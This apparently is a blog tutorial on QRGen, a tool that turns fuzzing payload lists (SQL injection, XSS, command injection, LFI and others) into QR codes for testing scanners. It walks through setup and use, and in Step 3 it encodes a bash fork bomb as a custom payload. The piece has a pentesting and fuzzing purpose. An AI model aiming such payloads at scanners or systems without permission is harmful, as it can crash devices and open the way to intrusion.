WARNING
All further steps were performed for educational and research purposes only. The author does not intend to harm any individuals privacy.
All information is provided for informational and educational purposes only. The author is not responsible for any possible harm caused by the materials of this article.
QRgen for QR Code Hacking
Because a human can't spot a malicious QR code before actually scanning it, the relatively large payload of a QR code can work to a hacker's advantage, especially when combined with vulnerable devices. The tool we'll use today to create these is called QRGen. It will take a payload and encode it into a QR code using Python.
QRGen comes with a built-in library that contains lots of popular exploits, which is extremely useful if you have time to sit down with the same device you're looking to exploit and find out which one works. For a pentester looking to audit anything that uses a QR code scanner, merely buying the same scanner and running through the exploits can lead you to get the scanner to behave in unexpected ways.
The categories of payloads available on QRGen can be accessed by using the -l flag and a number while running the script. The number and payload type are listed below.
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal
To create a bunch of malicious QR codes that include string-fuzzing payloads, I'd just need to run QRGen.py -l 5 to create many codes for testing.
What You'll Need
To use QRGen, you'll need Python3 installed. Because it's cross-platform, it should be possible to do on any operating system. You'll also need a few Python libraries, including qrcode, Pillow, and argparse, which we'll install during the setup.
Step 1
Install QRGen
To start with QRGen, we'll need to download the repository from GitHub. We'll do that by running the command below in a terminal window.
~$ git clone https://github.com/h0nus/QRGen Cloning into 'QRGen'... remote: Enumerating objects: 86, done. remote: Counting objects: 100% (86/86), done. remote: Compressing objects: 100% (78/78), done. remote: Total 86 (delta 26), reused 4 (delta 1), pack-reused 0 Unpacking objects: 100% (86/86), done.
Once the repo finishes downloading, change (cd) into its directory and list (ls) its contents to find the requirements file.
~$ cd QRGen ~/QRGen$ ls demo.gif qrgen.py README.md requirements.txt words
Now, you'll need to make sure we have all the required libraries installed. To do so, we'll run the installation file with the following command.
~/QRGen$ pip3 install -r requirements.txt Collecting qrcode (from -r requirements.txt (line 1)) Downloading https://files.pythonhosted.org/packages/42/87/4a3a77e59ab7493d64da1f69bf1c2e899a4cf81e51b2baa855e8cc8115be/qrcode-6.1-py2.py3-none-any.whl Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (5.4.1) Collecting argparse (from -r requirements.txt (line 3)) Downloading https://files.pythonhosted.org/packages/f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6bbe1fd22a2f/argparse-1.4.0-py2.py3-none-any.whl Requirement already satisfied: six in /usr/lib/python3/dist-packages (from qrcode->-r requirements.txt (line 1)) (1.12.0) Installing collected packages: qrcode, argparse Successfully installed argparse-1.4.0 qrcode-6.1
If that doesn't work, you can also install it with this alternative command.
~/QRGen$ python3 -m pip install -r requirements.txt
Step 2
Generate Malicious QR Codes from a Payload Type
Now, you should be able to run the script by typing python3 qrgen.py.
~/QRGen$ python3 qrgen.py e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus usage: qrgen.py -l [number] usage: qrgen.py -w [/path/to/custom/wordlist] Payload lists: 0 : SQL Injections 1 : XSS 2 : Command Injection 3 : Format String 4 : XXE 5 : String Fuzzing 6 : SSI Injection 7 : LFI / Directory Traversal Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader optional arguments: -h, --help show this help message and exit Options for QRGen: --list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7} Set wordlist to use --wordlist WORDLIST, -w WORDLIST Use a custom wordlist Pay attention everywhere, even in the dumbest spot
As you can see, it's pretty simple to create payloads. To start, let's create a payload containing format string payloads. To do so, run QRGen with the following argument.
~/QRGen$ python3 qrgen.py -l 5 e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus Payload path generated.. Path already cleared or deleted.. Generated 46 payloads! Opening last generated payload... Thanks for using QRGen, made by H0nus..
A series of QR codes will be generated, and the last one that was created will open automatically.
To see the rest of your payloads, you can type cd genqr to change to the directory where they are created and ls its contents.
~/QRGen$ cd genqr ~/QRGen/genqr$ ls payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png payload-15.png payload-24.png payload-33.png payload-42.png payload-16.png payload-25.png payload-34.png payload-43.png payload-17.png payload-26.png payload-35.png payload-44.png payload-18.png payload-27.png payload-36.png payload-45.png
Step 3
Encode Custom Payloads
To encode a custom payload, we can first create a text file containing what we want to encode. Each line will be a new payload. First, we can create a next text file by typing nano badstuff.txt to create a text file.
~/QRGen/genqr$ nano badstuff.txt
In that text file, we can put our payload. The one below is a fork bomb. Will it work on a QR code scanner? Who knows.
:(){ :|: & };:
We can save it by pressing Control X, then hit Y and Enter to confirm your save. Now, you should see a text file containing your payload.
~/QRGen/genqr$ ls badstuff.txt payload-18.png payload-27.png payload-36.png payload-45.png payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png payload-15.png payload-24.png payload-33.png payload-42.png payload-16.png payload-25.png payload-34.png payload-43.png payload-17.png payload-26.png payload-35.png payload-44.png
To write your payload to a QR code, we'll use the -w flag. Assuming your payload file is called "badstuff.txt," the command to do so should look like below (remember to change back to the QRGen directory beforehand).
~/QRGen/genqr$ cd .. ~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/badstuff.txt' e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus Payload path exist, continuing... Path already cleared or deleted.. Generated 1 payloads! Opening last generated payload... Thanks for using QRGen, made by H0nus..
For my fork bomb payload, it generates the QR code below, which will pop up.
Not All QR Codes Are Wise to Scan
QR codes can encode a lot of information, and as we've learned today, they can even be formatted to cause a device to perform actions like connecting to a Wi-Fi network. That makes scanning a QR code risky, as a person has no way of reading the information before exposing your device to whatever payload is contained inside. If you scan a QR code that seems suspicious, pay attention to what the code is attempting to launch, and do not connect to a Wi-Fi network or navigate to a link that's shortened.
While most QR codes should be safe to scan on a smartphone, scanning payloads we generated today on a device for scanning tickets or boarding passes may result in some bizarre behavior from the device. Do not scan payloads on a scanner you need working immediately after for an event or work — or any scanner you do not have permission to test — as some of these payloads may cause the scanner to stop working.
Comments
Post a Comment